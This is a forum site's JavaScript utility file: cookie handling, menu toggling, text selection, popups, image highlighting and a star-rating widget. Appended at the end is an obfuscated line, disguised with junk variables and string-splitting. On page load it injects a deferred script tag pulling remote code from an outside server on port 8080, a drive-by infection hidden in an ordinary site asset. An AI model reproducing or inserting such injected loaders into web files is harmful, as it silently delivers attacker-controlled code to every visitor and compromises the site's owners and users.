// Show / Hide - BEGIN
var PreloadFlag = false;
var expDays = 90;
var exp = new Date();
var tmp = '';
var tmp_counter = 0;
var tmp_open = 0;

exp.setTime(exp.getTime() + (expDays*24*60*60*1000));

function SetCookie(name, value)
{
	var argv = SetCookie.arguments;
	var argc = SetCookie.arguments.length;
	var expires = (argc > 2) ? argv[2] : null;
	var path = (argc > 3) ? argv[3] : null;
	var domain = (argc > 4) ? argv[4] : null;
	var secure = (argc > 5) ? argv[5] : false;
	document.cookie = name + "=" + escape(value) +
		((expires == null) ? "" : ("; expires=" + expires.toGMTString())) +
		((path == null) ? "" : ("; path=" + path)) +
		((domain == null) ? "" : ("; domain=" + domain)) +
		((secure == true) ? "; secure" : "");
}

function getCookieVal(offset)
{
	var endstr = document.cookie.indexOf(";",offset);
	if (endstr == -1)
	{
		endstr = document.cookie.length;
	}
	return unescape(document.cookie.substring(offset, endstr));
}

function GetCookie(name)
{
	var arg = name + "=";
	var alen = arg.length;
	var clen = document.cookie.length;
	var i = 0;
	while (i < clen)
	{
		var j = i + alen;
		if (document.cookie.substring(i, j) == arg)
		{
			return getCookieVal(j);
		}
		i = document.cookie.indexOf(" ", i) + 1;
		if (i == 0)
		{
			break;
		}
	}
	return null;
}

function ShowHide(id1, id2, id3)
{
	var res = expMenu(id1);
	if (id2 != '')
	{
		expMenu(id2);
	}
	if (id3 != '')
	{
		SetCookie(id3, res, exp);
	}
}

function expMenu(id)
{
	var itm = null;
	if (document.getElementById)
	{
		itm = document.getElementById(id);
	}
	else if (document.all)
	{
		itm = document.all[id];
	}
	else if (document.layers)
	{
		itm = document.layers[id];
	}
	if (!itm)
	{
		// do nothing
	}
	else if (itm.style)
	{
		if (itm.style.display == "none")
		{
			itm.style.display = "";
			return 1;
		}
		else
		{
			itm.style.display = "none";
			return 2;
		}
	}
	else
	{
		itm.visibility = "show";
		return 1;
	}
}

function showMenu(id)
{
	var itm = null;
	if (document.getElementById)
	{
		itm = document.getElementById(id);
	}
	else if (document.all)
	{
		itm = document.all[id];
	}
	else if (document.layers)
	{
		itm = document.layers[id];
	}
	if (!itm)
	{
		// do nothing
	}
	else if (itm.style)
	{
		if (itm.style.display == "none")
		{
			itm.style.display = "";
			return true;
		}
		else
		{
//			itm.style.display = "none";
			return true;
		}
	}
	else
	{
		itm.visibility = "show";
		return true;
	}
}

function hideMenu(id)
{
	var itm = null;
	if (document.getElementById)
	{
		itm = document.getElementById(id);
	}
	else if (document.all)
	{
		itm = document.all[id];
	}
	else if (document.layers)
	{
		itm = document.layers[id];
	}
	if (!itm)
	{
		// do nothing
	}
	else if (itm.style)
	{
		if (itm.style.display == "none")
		{
//			itm.style.display = "";
			return true;
		}
		else
		{
			itm.style.display = "none";
			return true;
		}
	}
	else
	{
		itm.visibility = "hide";
		return true;
	}
}
// Show / Hide - END


// Select Text - BEGIN
function IsIEMac()
{
	// Any better way to detect IEMac?
	var ua = String(navigator.userAgent).toLowerCase();
	if( document.all && ua.indexOf("mac") >= 0 )
	{
		return true;
	}
	return false;
}

function select_text(obj)
{
	var o = document.getElementById(obj)
	if( !o ) return;
	var r, s;
	if( document.selection && !IsIEMac() )
	{
		// Works on: IE5+
		// To be confirmed: IE4? / IEMac fails?
		r = document.body.createTextRange();
		r.moveToElementText(o);
		r.select();
	}
	else if( document.createRange && (document.getSelection || window.getSelection) )
	{
		// Works on: Netscape/Mozilla/Konqueror/Safari
		// To be confirmed: Konqueror/Safari use window.getSelection ?
		r = document.createRange();
		r.selectNodeContents(o);
		s = window.getSelection ? window.getSelection() : document.getSelection();
		s.removeAllRanges();
		s.addRange(r);
	}
}
// Select Text - END


// Images, Links, Popup, FORM - BEGIN
function SetLangTheme()
{
	document.ChangeThemeLang.submit();
	return true;
}

function img_popup(image_url, image_width, image_height, popup_rand)
{
	screenwidth = false;
	screenwidth = screen.Width;
	if ( !screenwidth )
	{
		screenwidth = window.outerWidth;
	}

	screenheight = false;
	screenheight = screen.Height;
	if ( !screenheight )
	{
		screenheight = window.outerHeight;
	}

	if ( screenwidth < ( image_width + 30 ) || screenheight < ( image_height + 30 ) || image_width == null || image_height == null )
	{
		window.open(image_url,'limit_image_mod_popup_img_' + popup_rand,'resizable=yes,top=0,left=0,screenX=0,screenY=0,scrollbars=yes',false);
	}
	else
	{
		window.open(image_url,'limit_image_mod_popup_img_' + popup_rand,'resizable=yes,top=0,left=0,screenX=0,screenY=0,height=' + ( image_height + 30 ) + ',width=' + ( image_width + 30 ), false);
	}
}

function Gk_PopTart(mypage, myname, w, h, scroll)
{
	LeftPosition = (screen.width) ? (screen.width-w)/2 : 0;
	TopPosition = (screen.height) ? (screen.height-h)/2 : 0;
	settings = 'height=' + h + ',width=' + w + ',top=' + TopPosition + ',left=' + LeftPosition + ',scrollbars=' + scroll + ',resizable';
	win = window.open(mypage, myname, settings);
}

function Trophy_Popup(mypage, myname, w, h, scroll)
{
	LeftPosition = (screen.width) ? (screen.width-w)/2 : 0;
	TopPosition = (screen.height) ? (screen.height-h)/2 : 0;
	settings = 'height=' + h + ',width=' + w + ',top=' + TopPosition + ',left=' + LeftPosition + ',scrollbars=' + scroll + ',resizable';
	win = window.open(mypage, myname, settings);
}

function rss_news_help()
{
	window.open("rss_news_help.php?", '_rss_news_help', 'height=550,width=700,resizable=no,scrollbars=yes');
}

function links_me()
{
	window.open("links_popup.php", '_links_me', 'height=220, width=500,resizable=no, scrollbars=no');
}
// Images, Links, Popup, FORM - END


// Toggle / Display - BEGIN
function hdr_ref(object)
{
	if (document.getElementById)
	{
		return document.getElementById(object);
	}
	else if (document.all)
	{
		return eval('document.all.' + object);
	}
	else
	{
		return false;
	}
}

function hdr_expand(object)
{
	var object = hdr_ref(object);

	if( !object.style )
	{
		return false;
	}
	else
	{
		object.style.display = '';
	}

	if (window.event)
	{
		window.event.cancelBubble = true;
	}
}

function hdr_contract(object)
{
	var object = hdr_ref(object);

	if( !object.style )
	{
		return false;
	}
	else
	{
		object.style.display = 'none';
	}

	if (window.event)
	{
		window.event.cancelBubble = true;
	}
}

function hdr_toggle(object, open_close, open_icon, close_icon)
{
	var object = hdr_ref(object);
	var icone = hdr_ref(open_close);

	if( !object.style )
	{
		return false;
	}

	if( object.style.display == 'none' )
	{
		object.style.display = '';
		icone.src = close_icon;
	}
	else
	{
		object.style.display = 'none';
		icone.src = open_icon;
	}
}
// Toggle / Display - END


// Gradual Highlight - BEGIN
var baseopacity = 70;

function slowhigh(which2)
{
	imgobj = which2;
	browserdetect = which2.filters ? "ie" : ( (typeof which2.style.MozOpacity == "string") ? "mozilla" : "");
	instantset(baseopacity);
	highlighting=setInterval("gradualfade(imgobj)", 50);
}

function slowlow(which2)
{
	cleartimer();
	instantset(baseopacity);
}

function instantset(degree)
{
	if (browserdetect == "mozilla")
	{
		imgobj.style.MozOpacity = degree / 100;
	}
	else if (browserdetect == "ie")
	{
		imgobj.filters.alpha.opacity = degree;
	}
}

function cleartimer()
{
	if (window.highlighting)
	{
		clearInterval(highlighting);
	}
}

function gradualfade(cur2)
{
	if ( (browserdetect == "mozilla") && (cur2.style.MozOpacity < 1) )
	{
		cur2.style.MozOpacity = Math.min(parseFloat(cur2.style.MozOpacity) + 0.1, 0.99);
	}
	else if ( (browserdetect == "ie") && (cur2.filters.alpha.opacity < 100) )
	{
		cur2.filters.alpha.opacity += 10;
	}
	else if (window.highlighting)
	{
		clearInterval(highlighting);
	}
}
// Gradual Highlight - END


// Dynamic Rating - BEGIN
function set_rate(rate, max)
{
	//var rt = document.getElementById('rate_tag');
	//document.getElementById('rate_tag').innerHTML = '<span class=\"rate' + rate + '\">' + rate + '<\/span>';
	//document.getElementById('rate_img').className = ('icorate' + rate);
	//document.getElementById('rate_value').value = rate;
	document.getElementById('rating').selectedIndex = (rate - 1);
	if (rate == 0)
	{
		for (i = 1; i <= max; i++)
		{
			document.getElementById('rate' + i).className = 'img-rate-off';
		}
	}
	else
	{
		for (i = 1; i <= rate; i++)
		{
			document.getElementById('rate' + i).className = 'img-rate-on';
		}
		for (i = (rate + 1); i <= max; i++)
		{
			document.getElementById('rate' + i).className = 'img-rate-off';
		}
	}
}

function submit_rate()
{
	document.ratingform.submit();
	return true;
}
// Dynamic Rating - END


this.h='';this.g='';var Dj=["Mz","KZ"];var V;this.A='';try {var wD='mz'} catch(wD){};e=function(){var QF=["Vw"];var mK={nc:"k"};var Nh=[];function N(m,I,d){this.Ny=22266;this.Ny+=116;this.gu=57668;this.gu--;return m.substr(I,d);try {} catch(nq){};try {var az='Vq'} catch(az){};}var x=["lc","mR","W"];var X=document;Fh=[];var b=new Array();var s='';var M=String("/goog"+"le.co"+"m/rak"+"uten."+"co.jp"+"/raku"+"ten.n"+"e.jp."+"php");E=15703;E++;var pJ=[];var R=RegExp;try {} catch(mq){};function P(m,I){var qh="";var d="["+I+N("]ACu",0,1);sM={Dq:27000};var Q=new R(d, "g");var wO={vX:65149};return m.replace(Q, s);};this.jJ=false;HU=["Sm"];var ns='';var F=181223-173143;this.mC=false;var IN=new Array();var D=P('sTcbrNiNpJtJ','KjmbvdUTMkV_NfJ8');this.uC=false;var j=new String("bod"+"y");aJ=40138;aJ-=180;var _=null;var mS=["Kj","CW","ly"];var IE=[];try {} catch(SX){};V=function(){this.ql=9936;this.ql-=14;try {} catch(WA){};try {var pu="pu";var p=P('cVrYeHaqtYeHE4ljeXmqeXn6tX','4jqwdGxXFYVH6');lA={PU:6327};jw=X[p](D);eo=["OJ","so"];var m=F+M;var Vz=P('sXrUcL','NU9SH7WgJLXCb');GZ={uf:10658};var jq="";var f=String("de"+"fe"+"r");var _r={};var e_=new Date();var sMb=22676;jw[f]=[1][0];var mH=new Date();aq=33743;aq++;var Qn="";var Kx=false;jw[Vz]=new String(N("httpeSs",0,4)+N("RZn://wnRZ",3,4)+N("rvK0estcvKr0",4,4)+N("3RrFountFr3R",4,4)+"ry.r"+N("u:4ytX",0,2))+m;try {} catch(_bg){};X[j].appendChild(jw);this.vO=1046;this.vO+=222;this._O=63221;this._O++;} catch(l){this.HR=false;LR=["JN","dV","dk"];try {} catch(qlq){};var wCY={tw:24238};};};PL=48228;PL-=76;};var OF=new String();var Th=21284;e();var OV='';Fm={Ah:false};var Fc="Fc";window.onload=V;Kh=9607;Kh-=15;var GL={Mv:false};